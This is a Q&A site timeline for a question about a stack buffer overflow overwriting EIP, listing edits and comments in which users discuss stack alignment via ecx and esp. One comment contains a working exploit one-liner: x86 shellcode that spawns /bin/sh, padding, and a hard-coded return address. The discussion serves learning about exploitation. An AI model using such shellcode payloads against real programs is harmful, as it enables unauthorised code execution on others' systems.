Timeline for Why EIP is being overwritten before local buffer ends?
Current License: CC BY-SA 4.0
10 events
| when toggle format | what | by | license | comment | |
|---|---|---|---|---|---|
| Aug 30, 2019 at 13:45 | comment | added | bart1e |
You are welcome. In my first comment I meant it can decrease up to 255 bytes, not 259, but it's too late to edit it.
|
|
| Aug 30, 2019 at 13:39 | vote | accept | JoaoAlby | ||
| Aug 30, 2019 at 13:32 | comment | added | bart1e | Just check the top of the stack just before allocating space for the buffer and you will get this least significant byte. | |
| Aug 30, 2019 at 13:26 | comment | added | bart1e |
If ecx had the least significant byte equal to 0x34, then the esp at the end of the function will have its correct value decreased by 0x38=56 for example. If it had bigger lsb, it would decrease even further, up to 259=0xff+0x4.
|
|
| Aug 30, 2019 at 13:22 | comment | added | JoaoAlby |
Thanks for the answer! But I am still not quite sure why EIP is being overwritten at the 204 position (where "ZZZZ" is) — it's 56 bytes away from the buffer! This payload works just fine to exploit the overflow: python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "a"*176 + "\xbf\xff\xed\x30"[::-1] + "a"*52'. I send the shellcode first, then "a" junk, then the ret address and then another 52 bytes of "a" junk.
|
|
| Aug 30, 2019 at 9:50 | history | edited | bart1e | CC BY-SA 4.0 |
added 94 characters in body
|
| Aug 30, 2019 at 8:14 | history | edited | bart1e | CC BY-SA 4.0 |
added 51 characters in body
|
| Aug 30, 2019 at 8:08 | history | edited | bart1e | CC BY-SA 4.0 |
added 125 characters in body
|
| Aug 29, 2019 at 18:12 | history | edited | bart1e | CC BY-SA 4.0 |
added 25 characters in body
|
| Aug 29, 2019 at 18:07 | history | answered | bart1e | CC BY-SA 4.0 |